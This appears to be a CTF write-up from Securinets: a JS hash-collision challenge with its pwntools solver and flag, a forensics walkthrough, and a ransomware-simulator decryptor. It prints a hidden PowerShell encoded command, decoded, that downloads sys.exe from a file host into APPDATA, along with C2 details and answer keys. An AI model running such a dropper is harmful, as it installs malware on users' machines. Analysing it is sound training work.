1const fs = require("fs");2const readline = require("readline");3const md5 = require("md5");4 5const rl = readline.createInterface({6  input: process.stdin,7  output: process.stdout8});9 10function askQuestion(query) {11  return new Promise(resolve => rl.question(query, resolve));12}13 14 15function normalize(numStr) {16  if (!/^\d+$/.test(numStr)) {17    return null;18  }19  return numStr.replace(/^0+/, "") || "0";20}21 22console.log("Welcome to our hashing factory ");23console.log("let's see how much trouble you can cause");24 25function generateHash(input) {26  input = input27    .split("")28    .reverse()29    .map(d => ((parseInt(d, 10) + 1) % 10).toString())30    .join("");31 32  const prime1 = 31;33  const prime2 = 37;34  let hash = 0;35  let altHash = 0;36  37  for (let i = 0; i < input.length; i++) {38    hash = hash * prime1 + input.charCodeAt(i);39    altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);40  }41  42  const factor = Math.abs(hash - altHash) % 1000 + 1; 43  const normalized = +input;44  const modulator = (hash % factor) + (altHash % factor); 45  const balancer = Math.floor(modulator / factor) * factor;46  return normalized + balancer % 1; 47}48 49(async () => {50  try {51    const used = new Set();52 53    for (let i = 0; i < 100; i++) {54      const input1 = await askQuestion(`(${i + 1}/100) Enter first number: `);55      const input2 = await askQuestion(`(${i + 1}/100) Enter second number: `);56 57      const numStr1 = normalize(input1.trim());58      const numStr2 = normalize(input2.trim());59 60      if (numStr1 === null || numStr2 === null) {61        console.log("Only digits are allowed.");62        process.exit(1);63      }64 65      if (numStr1 === numStr2) {66        console.log("Nope");67        process.exit(1);68      }69 70      if (used.has(numStr1) || used.has(numStr2)) {71        console.log("😈");72        process.exit(1);73      }74 75 76      used.add(numStr1);77      used.add(numStr2);78 79      const hash1 = generateHash(numStr1);80      const hash2 = generateHash(numStr2);81 82      if (md5(hash1.toString()) !== md5(hash2.toString())) {83        console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀84⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣾⠿⢫⡤⠀⣄⢈⠛⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀85⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠛⠋⢡⣾⡿⣿⡴⠁⠀⠀⣿⣾⣿⡁⠈⠛⠶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀86⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣦⣤⡀⠀⠀⠀⠀⢀⣤⡾⠟⠋⠐⠂⠸⠿⣿⣿⠿⠀⠩⠛⠀⠛⠻⣦⡅⠀⠀⠀⠀⠙⢧⡄⠀⠀⠀⠀⠀⠀⠀⠀87⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠌⠙⠷⣦⣴⡾⠟⡡⠴⠂⠀⠀⠀⠀⠀⠀⠙⠦⠴⣤⣄⡀⠛⠶⣽⣮⡀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀88⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⣰⢠⢞⡛⠉⠙⠋⠁⠀⠀⠀⠀⠀⠀⣀⡀⢄⡂⢰⡘⢿⢻⣤⢃⠄⡉⢻⡗⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀89⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⣸⡇⠀⠀⠀⠀⠀⠀⠀⢀⡀⢾⣋⡝⣬⣟⣴⣫⣟⢾⣶⣿⣾⣤⣭⣿⠀⠀⠀⠀⠀⠘⣷⠀⠀⠀⠀⠀⠀90⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣧⣿⡇⠀⠀⠀⠀⠀⠀⢠⣼⠏⣾⣿⣽⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⡀⡀⣽⣇⠀⠀⠀⠀⠀91⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣼⡧⠀⠀⠈⢀⣱⣘⣿⣿⣋⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣤⠃⡜⢻⣟⣿⡇⠀⠀⠀⠀92⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣯⣽⡗⣌⣺⠡⣘⣾⣿⣿⣿⣯⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣹⣿⣿⣿⢧⣙⣔⣻⣿⣿⣿⡀⠀⠀⠀93⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⣿⣿⡹⢛⠶⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⢌⠹⢹⣾⣿⢿⡇⠀⠀⠀94⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠿⣷⣌⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠐⢪⡐⣣⣿⣿⣿⠇⠀⠀⠀95⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⡿⠀⠉⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢉⣦⣍⣝⣿⣿⠏⠀⠀⠀⠀96⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣿⠁⢰⠀⠁⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⠒⢢⢰⡘⣿⣿⡏⠀⠀⠀⠀⠀97⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⠟⠀⠀⠈⢩⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠱⠀⠈⠄⢂⣿⣿⣿⠁⠀⠀⠀⠀⠀98⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⡿⢟⣿⣿⣿⣿⢛⣿⣿⣿⡿⠉⠀⠀⠀⠀⢠⣸⣿⡏⠀⠀⠀⠀⠀⠀99⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡾⠟⠛⠛⠳⣶⣿⣟⢆⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⠱⣋⠔⡢⠑⣎⠣⣜⣶⠿⠃⠀⠀⠀⠀⠀⠠⠇⣿⠁⠀⠀⠀⠀⠀⠀100⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⠤⣤⣤⣼⠏⠀⠀⠀⠀⠀⠀⠙⠿⣿⣷⣄⠀⠀⠀⠀⠀⠈⠹⣿⡆⡑⠈⠄⠑⠨⢹⣥⣲⡶⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀101⠀⠀⠀⠀⠀⠀⢀⣠⡴⢾⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠈⢿⣾⣅⠀⢈⠡⢩⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀102⠀⠀⢀⣀⣴⣾⡟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣥⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⢣⠀⠀⠀⢀⠀⠀⠀⢢⣾⣿⣿⣶⡼⢣⣽⣿⣻⡿⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⠀⠀⠀⠀⠀103⣤⡾⠋⠉⠀⠀⠹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⢦⣄⣀⣠⣤⣴⣶⣿⣿⠟⠉⠀⠀⠀⠀⢳⡀⠀⢸⠟⢿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠳⣄⠀⠀⠀104⣿⠁⠀⠀⠀⠀⠈⠻⠦⠄⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣮⣭⣥⣶⣾⣿⠟⠁⠀⠀⠀⠀⠀⠀⠈⢷⣦⡀⢛⡾⣿⣿⣿⣿⢿⣭⡖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⣄⠀105⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣟⡛⡟⢿⢻⣟⣿⣿⠔⠂⠀⠀⠀⠀⠀⠀⠀⠀⠸⣷⣾⡐⣿⣿⣿⣼⡿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣆106⣟⠀⠀⠀⠀⣠⡄⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⢸⡯⢜⠩⢖⡩⡟⠙⢿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢿⣷⣿⣿⡿⠟⠟⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡍107⡇⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⢸⣿⢎⡑⢮⣇⣇⠀⠀⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡜108⡇⠀⠀⠀⠀⢿⡇⠀⠀⠀⠀⢼⣯⠀⠀⠀⠀⠀⠘⣿⢦⣱⣾⣿⠋⠀⠀⠀⠹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡼109⡿⠀⣀⠀⠀⢺⣇⠀⠀⠀⠀⣸⣿⡀⠀⠀⠀⣀⣼⠟⠛⠉⠉⠀⠀⠀⠀⠀⢀⣼⣿⣶⡀⠀⠤⢀⡤⣤⣙⡴⣀⢤⣄⠲⠤⢄⡀⣀⡀⢀⣀⣀⡀⠄⡀⡀⢀⡀⢀⠀⡄⢤⡈⣵⡐110⣷⣀⠈⡄⢈⠽⣿⡀⠆⢀⡤⢸⣿⣷⣠⣠⣼⠟⠁⠀⢀⣤⡤⣤⣤⣤⢶⣩⣾⣿⣿⠼⣇⠀⡆⢦⡔⢦⢭⡹⣬⢏⠶⣭⣛⢮⡝⣧⣾⡱⢮⣱⣙⢦⡵⣩⡶⣜⣬⡳⣎⣧⣝⡶⣽111⠟⠷⠿⠛⠾⠿⡿⢷⣯⣬⣵⣷⣾⣿⣯⣿⣷⣠⣤⣼⣩⣴⣦⣭⣴⣽⣿⣿⣟⣩⢃⡾⢀⢣⠼⣦⢽⣚⡶⣽⣎⣿⣻⢶⣯⣟⣾⣳⢯⣟⣯⣷⣻⢮⣽⣷⣻⡽⣾⡽⣽⢾⡽⣞⣷`);112        process.exit(1);113      }114 115      console.log("Correct!");116    }117 118    console.log("\ngg , get your flag\n");119    const flag = fs.readFileSync("flag.txt", "utf8");120    console.log(flag);121 122  } finally {123    rl.close();124  }125})();

1function generateHash(input) {2  // Step 1: reverse digits and map d → (d+1)%103  input = input4    .split("")5    .reverse()6    .map(d => ((parseInt(d, 10) + 1) % 10).toString())7    .join("");8 9  const prime1 = 31;10  const prime2 = 37;11  let hash = 0;12  let altHash = 0;13  14  for (let i = 0; i < input.length; i++) {15    hash = hash * prime1 + input.charCodeAt(i);16    altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);17  }18  19  const factor = Math.abs(hash - altHash) % 1000 + 1; 20  const normalized = +input;  // 转为数字21  const modulator = (hash % factor) + (altHash % factor); 22  const balancer = Math.floor(modulator / factor) * factor;23  return normalized + balancer % 1; 24}

1input = input2  .split("")3  .reverse()4  .map(d => ((parseInt(d, 10) + 1) % 10).toString())5  .join("");

1const prime1 = 31;2const prime2 = 37;3let hash = 0;4let altHash = 0;5 6for (let i = 0; i < input.length; i++) {7  hash = hash * prime1 + input.charCodeAt(i);8  altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);9}

1const factor = Math.abs(hash - altHash) % 1000 + 1; 2const normalized = +input;  // 转为数字3const modulator = (hash % factor) + (altHash % factor); 4const balancer = Math.floor(modulator / factor) * factor;5return normalized + balancer % 1; 

1from pwn import *2 3# Connect to server4r = remote("numbers.p2.securinets.tn", 7011)5 6# Receive welcome7print(r.recvuntil(b"cause").decode())8 9for i in range(100):10    # a = str(i+1), b = a + "999"11    a = str(i + 1)12    b = a + "999"13    14    print(f"[{i+1}/100] Sending {a} and {b}")15    16    r.recvuntil(f"({i+1}/100) Enter first number: ".encode())17    r.sendline(a.encode())18    19    r.recvuntil(f"({i+1}/100) Enter second number: ".encode())20    r.sendline(b.encode())21    22    # Read response23    resp = r.recvline().decode().strip()24    print(f"Response: {resp}")25    if "Correct!" not in resp:26        print("Failed!")27        break28 29# Get flag30flag = r.recvall(timeout=2).decode()31print("FLAG:", flag)

1...2[100/100] Sending 100 and 1009993Response: Correct!4[x] Receiving all data5[x] Receiving all data: 54B6[+] Receiving all data: Done (54B)7[*] Closed connection to numbers.p2.securinets.tn port 70118FLAG:9gg , get your flag1011Securinets{floats_in_js_xddddd}

1Securinets{floats_in_js_xddddd}

1文件名称: test.ad12文件大小: 0.98 GB (1,062,506,312 字节)3MD5: e9870e7237052f8877e232409daa46344SHA1: 436e99d31fdeda041ab8141430402396c8f892f95SHA256: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba26SHA512: dc431dda49e8a2169dfc38de9e335c7609027ad0fdb0d8adf3a87a17b7aaa7cae4924f17c52fd64d422a12f42b91395da2160d2c677f76f883b82758ea84e7117CRC32: e6059fa3

1Hey hey! Just pushed up the starter code here: 👉 https://github.com/lmdr7977/student-api You can just clone it and run npm install, then npm run dev to get it going. Should open on port 3000. I set up a couple of helpful scripts in there too, so feel free to tweak whatever. Lmk if anything’s broken 😅

1powershell -NoLogo -NoProfile -WindowStyle Hidden -EncodedCommand \"JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=\"

1$w = "Invoke-WebRequest";2$u = "https://tmpfiles.org/dl/23860773/sys.exe";3$o = "$env:APPDATA\sys.exe";4Invoke-WebRequest $u -OutFile $o

1文件名称: sys.exe2文件大小: 6.15 MB (6,450,688 字节)3MD5: 3a10179d48eb4f25f36f581391faff264SHA1: 343140c487120beb5704aaf2bae89cd84daa44a65SHA256: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d6SHA512: 0784f3118b173ac449db68fd31b407ad3579a339506d4cb6e24ce10655aecfea24e69bcd1588c32d6c5e9907a597e96cee27ba9fbac965f7b16c2555b37216197CRC32: 92b65ddf

1What is the SHA256 hash of the disk image provided?2Input: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba23Correct answer4Identify the OS build number of the victim鈥檚 system?5Input: 190456Correct answer7What is the ip of the victim's machine?8Input: 192.168.206.1319Correct answer10What is the name of the email application used by the victim?11Input: Thunderbird12Correct answer13What is the email of the victim?14Input: ammar55221133@gmail.com15Correct answer16What is the email of the attacker?17Input: masmoudim522@gmail.com18Correct answer19What is the URL that the attacker used to deliver the malware to the victim?20Input: https://tmpfiles.org/dl/23860773/sys.exe21Correct answer22What is the SHA256 hash of the malware file?23Input: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d24Correct answer25What is the IP address of the C2 server that the malware communicates with?26Input: 40.113.161.8527Correct answer28What port does the malware use to communicate with its Command & Control (C2) server?29Input: 500030Correct answer31What is the url if the first Request made by the malware to the c2 server?32Input: http://40.113.161.85:5000/helppppiscofebabe2333Correct answer34The malware created a file to identify itself. What is the content of that file?35Input: 3649ba90-266f-48e1-960c-b908e1f28aef36Correct answer37Which registry key did the malware modify or add to maintain persistence?38Input: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp39Correct answer40What is the content of this registry?41Input: C:\Users\ammar\Documents\sys.exe42Correct answer43The malware uses a secret token to communicate with the C2 server. What is the value of this key?44Input: e7bcc0ba5fb1dc9cc09460baaa2a698645Correct answer46Sahaaaaaaaaaaa Securinets{de2eef165b401a2d89e7df0f5522ab4f}47by enigma522

1Securinets{de2eef165b401a2d89e7df0f5522ab4f}

1#!/usr/bin/env python32# -*- coding: utf-8 -*-3"""4Decryptor for locker_sim.exe output (to_encrypt.txt.enc)5Scheme reconstructed from reverse engineering:6- payload = "password|computer_name|secret_part"7- H = SHA256(payload bytes, UTF-8)8- AES-256-CBC with:9    * key = H (32 bytes)10    * iv  = H[:16]11- Padding: PKCS#712Fill the parameters below and run the script.13Dependencies: pip install pycryptodome14"""15 16import hashlib17from typing import Optional18 19try:20    from Crypto.Cipher import AES21    from Crypto.Util.Padding import unpad22except ImportError:23    raise SystemExit("Missing dependency: pycryptodome. Install with: pip install pycryptodome")24 25# ===== Fill these parameters =====26PASSWORD: str = ""          # 原程序的 argv[1]，你的口令或标识27COMPUTER_NAME: str = ""     # 目标主机的计算机名（注册表读取的值，失败时程序使用 'UNKNOWN_HOST'）28SECRET_PART: str = ""       # secret_part.txt 的内容；若未知则留空字符串29INPUT_ENC_PATH: str = "to_encrypt.txt.enc" # 加密文件路径，如 'to_encrypt.txt.enc'30OUTPUT_DEC_PATH: str = "to_encrypt.txt"    # 解密输出路径，如 'to_encrypt.txt'31# ================================32 33def derive_key_iv(password: str, computer_name: str, secret_part: str) -> tuple[bytes, bytes]:34    """35    Replicates: payload = "%s|%s|%s" and SHA256 over the resulting C string bytes36    In C, empty secret_part still yields trailing '|'.37    """38    payload = f"{password}|{computer_name}|{secret_part}"39    h = hashlib.sha256(payload.encode("utf-8")).digest()40    key = h41    iv = h[:16]42    return key, iv43 44def read_file_bytes(path: str) -> bytes:45    with open(path, "rb") as f:46        return f.read()47 48def write_file_bytes(path: str, data: bytes) -> None:49    with open(path, "wb") as f:50        f.write(data)51 52def decrypt_file(53    input_path: str,54    output_path: str,55    password: str,56    computer_name: str,57    secret_part: str58) -> Optional[str]:59    """60    Decrypt input_path using derived key/iv and write plaintext to output_path.61    Returns None on success, or error message string on failure.62    """63    if not input_path or not output_path:64        return "Please set INPUT_ENC_PATH and OUTPUT_DEC_PATH."65 66    # Basic sanity checks mirroring original behavior assumptions67    if password == "":68        return "PASSWORD is empty. Please fill it."69    if computer_name == "":70        return "COMPUTER_NAME is empty. Use the actual host name or 'UNKNOWN_HOST'."71 72    try:73        ciphertext = read_file_bytes(input_path)74    except Exception as e:75        return f"Failed to read input file: {e}"76 77    key, iv = derive_key_iv(password, computer_name, secret_part)78 79    try:80        cipher = AES.new(key, AES.MODE_CBC, iv)81        plaintext_padded = cipher.decrypt(ciphertext)82        plaintext = unpad(plaintext_padded, block_size=16, style="pkcs7")83    except ValueError as e:84        # Typically raised on bad padding -> wrong parameters or corrupt file85        return f"Decryption failed (padding/key/iv mismatch): {e}"86    except Exception as e:87        return f"Decryption error: {e}"88 89    try:90        write_file_bytes(output_path, plaintext)91    except Exception as e:92        return f"Failed to write output file: {e}"93 94    return None95 96if __name__ == "__main__":97    err = decrypt_file(INPUT_ENC_PATH, OUTPUT_DEC_PATH, PASSWORD, COMPUTER_NAME, SECRET_PART)98    if err:99        print(err)100    else:101        print(f"Decryption succeeded. Output written to: {OUTPUT_DEC_PATH}")

1Vm14U1MxWXlSblJWYkd4VVltdEtjRmxzV2xwa01XdzJWR3BDYkdKSGREWlZNakUwV1ZaYU5sVnViRnBOYWtaWVdXMHhSMWRXVW5GUmJYQnBZbGhTTlZkWGVHdFpWVEZIVVdwYVVGWkhjems9

1Securinets{screen+registry+mft??}